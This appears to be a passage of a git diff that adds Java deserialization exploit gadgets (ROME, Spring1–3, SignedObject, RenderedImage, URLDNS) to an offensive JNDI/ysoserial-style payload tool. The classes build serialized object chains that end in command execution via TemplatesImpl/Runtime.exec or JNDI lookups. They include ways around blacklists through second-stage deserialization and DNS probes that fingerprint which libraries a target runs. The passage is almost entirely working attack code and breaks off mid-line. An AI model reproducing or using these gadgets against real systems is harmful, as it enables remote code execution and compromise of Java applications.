@SuppressWarnings("unchecked") + public static void releasePayload(ObjectPayload payload, Object object) throws Exception { + if (payload instanceof ReleaseableObjectPayload) { + ((ReleaseableObjectPayload) payload).release(object); + } + } + + + public static void releasePayload(String payloadType, Object payloadObject) { + final Class payloadClass = getPayloadClass(payloadType); + if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + //生成随机字符 + public static String generateRandomString(int length) { + String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + StringBuilder sb = new StringBuilder(); + + Random random = new Random(); + for (int i = 0; i < length; i++) { + int index = random.nextInt(characters.length()); + char randomChar = characters.charAt(index); + sb.append(randomChar); + } + + return sb.toString(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ROME.java b/src/main/java/com/qi4l/jndi/gadgets/ROME.java new file mode 100644 index 00000000..bd1d3a63 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ROME.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.sun.syndication.feed.impl.ObjectBean; + +import javax.xml.transform.Templates; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * TemplatesImpl.getOutputProperties() + * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) + * NativeMethodAccessorImpl.invoke(Object, Object[]) + * DelegatingMethodAccessorImpl.invoke(Object, Object[]) + * Method.invoke(Object, Object...) + * ToStringBean.toString(String) + * ToStringBean.toString() + * ObjectBean.toString() + * EqualsBean.beanHashCode() + * ObjectBean.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies("rome:rome:1.0") +@Authors({Authors.MBECHLER}) +public class ROME implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + ObjectBean delegate = new ObjectBean(Templates.class, templates); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ROME2.java b/src/main/java/com/qi4l/jndi/gadgets/ROME2.java new file mode 100644 index 00000000..04621ca5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ROME2.java @@ -0,0 +1,40 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.syndication.feed.impl.EqualsBean; + +import javax.xml.transform.Templates; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies("rome:rome:1.0") +public class ROME2 implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object o; + if (JYsoMode.contains("yso")) { + o = GadgetsYso.createTemplatesImpl(param[0]); + } else { + o = Gadgets.createTemplatesImpl(type, param); + } + EqualsBean bean = new EqualsBean(String.class, ""); + + Map map1 = Gadgets.createMap("aa", o); + map1.put("bB", bean); + + Map map2 = Gadgets.createMap("aa", bean); + map2.put("bB", o); + + Reflections.setFieldValue(bean, "_beanClass", Templates.class); + Reflections.setFieldValue(bean, "_obj", o); + + return Gadgets.makeMap(map1, map2); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.java b/src/main/java/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.java new file mode 100644 index 00000000..bc45f197 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.java @@ -0,0 +1,6 @@ +package com.qi4l.jndi.gadgets; + +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release(T obj) throws Exception; +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/RenderedImage.java b/src/main/java/com/qi4l/jndi/gadgets/RenderedImage.java new file mode 100644 index 00000000..1d5c1c4f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/RenderedImage.java @@ -0,0 +1,58 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; + +import javax.media.jai.remote.SerializableRenderedImage; +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; +import java.io.ByteArrayInputStream; +import java.net.InetAddress; + +@Dependencies({"javax.media:jai-codec-1.1.3"}) +public class RenderedImage implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String host = command.substring(0, sep); + String port = command.substring(sep + 1); + + String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; + BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex))); + + SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true); + Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port)); + Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host)); + + return serializableRenderedImage; + } + + + public static byte hexToByte(String inHex) { + return (byte) Integer.parseInt(inHex, 16); + } + + public static byte[] hexToByteArray(String inHex) { + int hexlen = inHex.length(); + byte[] result; + if (hexlen % 2 == 1) { + hexlen++; + result = new byte[(hexlen / 2)]; + inHex = "0" + inHex; + } else { + result = new byte[(hexlen / 2)]; + } + int j = 0; + for (int i = 0; i < hexlen; i += 2) { + result[j] = hexToByte(inHex.substring(i, i + 2)); + j++; + } + return result; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/SignedObject.java b/src/main/java/com/qi4l/jndi/gadgets/SignedObject.java new file mode 100644 index 00000000..5d86933a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/SignedObject.java @@ -0,0 +1,213 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SignedObjectUtils; +import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper; +import com.sun.syndication.feed.impl.ObjectBean; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; +import org.springframework.beans.factory.ObjectFactory; + +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Type; +import java.math.BigInteger; +import java.util.*; + +import static java.lang.Class.forName; + +/** + * SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) + * 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点; + * yso 中大概包含如下几种可用的常见调用链: + * 1. InvokerTransformer 调用任意方法(依赖 CC) + * 2. BeanComparator 调用 getter 方法(依赖 CB) + * 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate) + * 4. ToStringBean 调用全部 getter 方法(依赖 Rome) + * 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core) + * 6. MemberBox 反射调用任意方法(依赖 rhino) + *

+ * 利用方式: + * SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:10000' + * + * @author nu1r + */ +public class SignedObject implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + String[] commands = command.split(":"); + + if (commands.length < 3) { + throw new IllegalArgumentException("Command format is: ::::"); + } + + String type1 = commands[0]; + Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length)); + + switch (type1.toLowerCase()) { + case "cb": + return getSignedObjectWithCB(object); + case "hibernate": + return getSignedObjectWithHibernate(object); + case "rome": + return getSignedObjectWithRome(object); + case "rhino": + return getSignedObjectWithRhino(object); + case "spring": + return getSignedObjectWithSpring(object); + case "cc4": + return getSignedObjectWithCC4(object); + case "cc": + default: + return getSignedObjectWithCCNoArray(object); + } + } + + + public Object getOriginal(String[] args) throws Exception { + final String payloadType = args[0]; + String command = args[1]; + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + String realCmd = com.qi4l.jndi.gadgets.utils.Utils.base64Decode(command); + + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(PayloadType.command, realCmd); + + if (args.length >= 3) { + final String type = args[2]; + final String length = args[3]; + object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap(); + } + + return object; + } + + + // CC 无数组二次反序列化 + public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + Map old = new HashMap(); + Transformer invoke = new InvokerTransformer("toString", null, null); + Map newMap = LazyMap.decorate(old, invoke); + TiedMapEntry entry = new TiedMapEntry(newMap, obj); + Map ht = new HashMap(); + ht.put(entry, obj); + newMap.remove(obj); + + Reflections.setFieldValue(invoke, "iMethodName", "getObject"); + return ht; + } + + // CC4 无 TiedMapEntry 二次反序列化 + public Object getSignedObjectWithCC4(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator((org.apache.commons.collections4.Transformer) transformer); + TreeBag tree = new TreeBag((Comparator) comp); + tree.add(obj); + Reflections.setFieldValue(transformer, "iMethodName", "getObject"); + return tree; + } + + + // CB 二次反序列化 + public Object getSignedObjectWithCB(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + Reflections.setFieldValue(comparator, "property", "object"); + Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } + + // Hibernate 二次反序列化 + public Object getSignedObjectWithHibernate(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject"); + return Hibernate1.makeCaller(obj, getters); + } + + + // Rome 二次反序列化 + public Object getSignedObjectWithRome(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } + + + // Spring-Core 二次反序列化 + public Object getSignedObjectWithSpring(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class); + Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); + Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + Reflections.setFieldValue(mitp, "methodName", "getObject"); + return mitp; + } + + // Rhino 二次反序列化 + public Object getSignedObjectWithRhino(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Reflections.setAccessible(makeSlot); + Object slot = makeSlot.invoke(initContextScriptableObject, "nu1r", 0, 4); + Reflections.setFieldValue(slot, "getter", initContextMemberBox); + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "object", 0, 2); + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaArray, "javaObject", obj); + nativeJavaArray.setPrototype(scriptableObject); + Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + + return nativeJavaObject; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Spring1.java b/src/main/java/com/qi4l/jndi/gadgets/Spring1.java new file mode 100644 index 00000000..b6b941a2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Spring1.java @@ -0,0 +1,83 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.springframework.beans.factory.ObjectFactory; + +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; +import static java.lang.Class.forName; + +/** + * Gadget chain: + * + * ObjectInputStream.readObject() + * SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + * SerializableTypeWrapper.TypeProvider(Proxy).getType() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * ReflectionUtils.findMethod() + * SerializableTypeWrapper.TypeProvider(Proxy).getType() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * ReflectionUtils.invokeMethod() + * Method.invoke() + * Templates(Proxy).newTransformer() + * AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + * ObjectFactory(Proxy).getObject() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * Method.invoke() + * TemplatesImpl.newTransformer() + * TemplatesImpl.getTransletInstance() + * TemplatesImpl.defineTransletClasses() + * TemplatesImpl.TransletClassLoader.defineClass() + * Pwner*(Javassist-generated). + * Runtime.exec() + */ +@SuppressWarnings({"rawtypes","unused"}) +@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-beans:4.1.4.RELEASE"}) +@Authors({Authors.FROHOFF}) +public class Spring1 implements ObjectPayload{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + + final ObjectFactory objectFactoryProxy = + Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } + + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Spring2.java b/src/main/java/com/qi4l/jndi/gadgets/Spring2.java new file mode 100644 index 00000000..17f3b7f7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Spring2.java @@ -0,0 +1,70 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; +import static java.lang.Class.forName; + +/** + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + *

+ * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies({ + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +}) +@Authors({Authors.MBECHLER}) +public class Spring2 implements ObjectPayload{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Spring3.java b/src/main/java/com/qi4l/jndi/gadgets/Spring3.java new file mode 100644 index 00000000..7f64baba --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Spring3.java @@ -0,0 +1,23 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import org.springframework.transaction.jta.JtaTransactionManager; + +@Dependencies({"org.springframework:spring-tx:5.2.3.RELEASE", "org.springframework:spring-context:5.2.3.RELEASE", "javax.transaction:javax.transaction-api:1.2"}) +public class Spring3 implements ObjectPayload{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + String jndiURL = null; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } else { + throw new Exception(String.format("Command [%s] not supported", command)); + } + + JtaTransactionManager manager = new JtaTransactionManager(); + manager.setUserTransactionName(jndiURL); + return manager; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/URLDNS.java b/src/main/java/com/qi4l/jndi/gadgets/URLDNS.java new file mode 100644 index 00000000..34bcada7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/URLDNS.java @@ -0,0 +1,200 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; + +import java.lang.reflect.Field; +import java.net.URL; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +/** + * A blog post with more details about this gadget chain is at the url below: + * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ + *

+ * This was inspired by Philippe Arteau @h3xstream, who wrote a blog + * posting describing how he modified the Java Commons Collections gadget + * in ysoserial to open a URL. This takes the same idea, but eliminates + * the dependency on Commons Collections and does a DNS lookup with just + * standard JDK classes. + *

+ * The Java URL class has an interesting property on its equals and + * hashCode methods. The URL class will, as a side effect, do a DNS lookup + * during a comparison (either equals or hashCode). + *

+ * As part of deserialization, HashMap calls hashCode on each key that it + * deserializes, so using a Java URL object as a serialized key allows + * it to trigger a DNS lookup. + *

+ * Gadget Chain: + * HashMap.readObject() + * HashMap.putVal() + * HashMap.hash() + * URL.hashCode() + */ +@Dependencies() +@Authors({Authors.GEBL}) +public class URLDNS implements ObjectPayload { + public static String[] defaultClass = new String[]{ + "CommonsCollections13567", "CommonsCollections24", "CommonsBeanutils2", "C3P0", "AspectJWeaver", "bsh", + "Groovy", "Becl", "Jdk7u21", "JRE8u20", "winlinux", "jackson2100"}; + + public static List list = new LinkedList(); + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String tYPE = command.substring(0, sep); + String url = command.substring(sep + 1); + + switch (tYPE) { + // common 时会测试不常被黑名单禁用的类 + case "common": + setList("CommonsBeanutils2", url); + setList("C3P0", url); + setList("AspectJWeaver", url); + setList("bsh", url); + setList("winlinux", url); + break; + + // all 会测试全部类 + case "all": + setList("all", url); + break; + + case "null": + return getURLDNSGadget(url, null); + // 默认指定类 + default: + setList(tYPE, url); + } + + return list; + } + + public static Object getURLDNSGadget(String urls, String clazzName) throws Exception { + HashMap hashMap = new HashMap(); + URL url = new URL("http://" + urls); + Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); + f.setAccessible(true); + f.set(url, Integer.valueOf(0)); + Class clazz = null; + + if (clazzName != null) { + try { + clazz = com.qi4l.jndi.gadgets.utils.Utils.makeClass(clazzName); + } catch (Exception e) { + clazz = Class.forName(clazzName); + } + } + + hashMap.put(url, clazz); + f.set(url, Integer.valueOf(-1)); + return hashMap; + } + + public static void setList(String clazzName, String dnsLog) throws Exception { + + + switch (clazzName) { + case "CommonsCollections13567": + //CommonsCollections1/3/5/6/7链,需要<=3.2.1版本 + Object cc31or321 = getURLDNSGadget("cc31or321." + dnsLog, "org.apache.commons.collections.functors.ChainedTransformer"); + Object cc322 = getURLDNSGadget("cc322." + dnsLog, "org.apache.commons.collections.ExtendedProperties$1"); + list.add(cc31or321); + list.add(cc322); + break; + case "CommonsCollections24": + //CommonsCollections2/4链,需要4-4.0版本 + Object cc40 = getURLDNSGadget("cc40." + dnsLog, "org.apache.commons.collections4.functors.ChainedTransformer"); + Object cc41 = getURLDNSGadget("cc41." + dnsLog, "org.apache.commons.collections4.FluentIterable"); + list.add(cc40); + list.add(cc41); + break; + case "CommonsBeanutils2": + //CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608 + Object cb17 = getURLDNSGadget("cb17." + dnsLog, "org.apache.commons.beanutils.MappedPropertyDescriptor$1"); + Object cb18x = getURLDNSGadget("cb18x." + dnsLog, "org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry"); + Object cb19x = getURLDNSGadget("cb19x." + dnsLog, "org.apache.commons.beanutils.BeanIntrospectionData"); + list.add(cb17); + list.add(cb18x); + list.add(cb19x); + break; + case "C3P0": + //c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104 + Object c3p092x = getURLDNSGadget("c3p092x." + dnsLog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); + Object c3p095x = getURLDNSGadget("c3p095x." + dnsLog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource"); + list.add(c3p092x); + list.add(c3p095x); + break; + case "AspectJWeaver": + //AspectJWeaver,需要cc31 + Object ajw = getURLDNSGadget("ajw." + dnsLog, "org.aspectj.weaver.tools.cache.SimpleCache"); + list.add(ajw); + break; + case "bsh": + //bsh,serialVersionUID不同,2.0b4为4949939576606791809,2.0b5为4041428789013517368,2.0.b6无法反序列化 + Object bsh20b4 = getURLDNSGadget("bsh20b4." + dnsLog, "bsh.CollectionManager$1"); + Object bsh20b5 = getURLDNSGadget("bsh20b5." + dnsLog, "bsh.engine.BshScriptEngine"); + Object bsh20b6 = getURLDNSGadget("bsh20b6." + dnsLog, "bsh.collection.CollectionIterator$1"); + list.add(bsh20b4); + list.add(bsh20b5); + list.add(bsh20b6); + break; + case "Groovy": + //Groovy,1.7.0-2.4.3,serialVersionUID不同,2.4.x为-8137949907733646644,2.3.x为1228988487386910280 + Object groovy1702311 = getURLDNSGadget("groovy1702311." + dnsLog, "org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet"); + Object groovy24x = getURLDNSGadget("groovy24x." + dnsLog, "groovy.lang.Tuple2"); + Object groovy244 = getURLDNSGadget("groovy244." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); + list.add(groovy1702311); + list.add(groovy24x); + list.add(groovy244); + break; + case "Becl": + //Becl,JDK<8u251 + Object becl = getURLDNSGadget("becl." + dnsLog, "com.sun.org.apache.bcel.internal.util.ClassLoader"); + list.add(becl); + break; + case "Jdk7u21": + //JDK<=7u21 + Object Jdk7u21 = getURLDNSGadget("Jdk7u21." + dnsLog, "com.sun.corba.se.impl.orbutil.ORBClassLoader"); + list.add(Jdk7u21); + break; + case "JRE8u20": + //7u25<=JDK<=8u20,虽然叫JRE8u20其实JDK8u20也可以,这个检测不完美,8u25版本以及JDK<=7u21会误报,可综合Jdk7u21来看 + Object JRE8u20 = getURLDNSGadget("JRE8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); + list.add(JRE8u20); + break; + case "winlinux": + //windows/linux版本判断 + Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); + Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); + list.add(linux); + list.add(windows); + break; + case "jackson2100": + Object jackson2100 = getURLDNSGadget("jackson2100." + 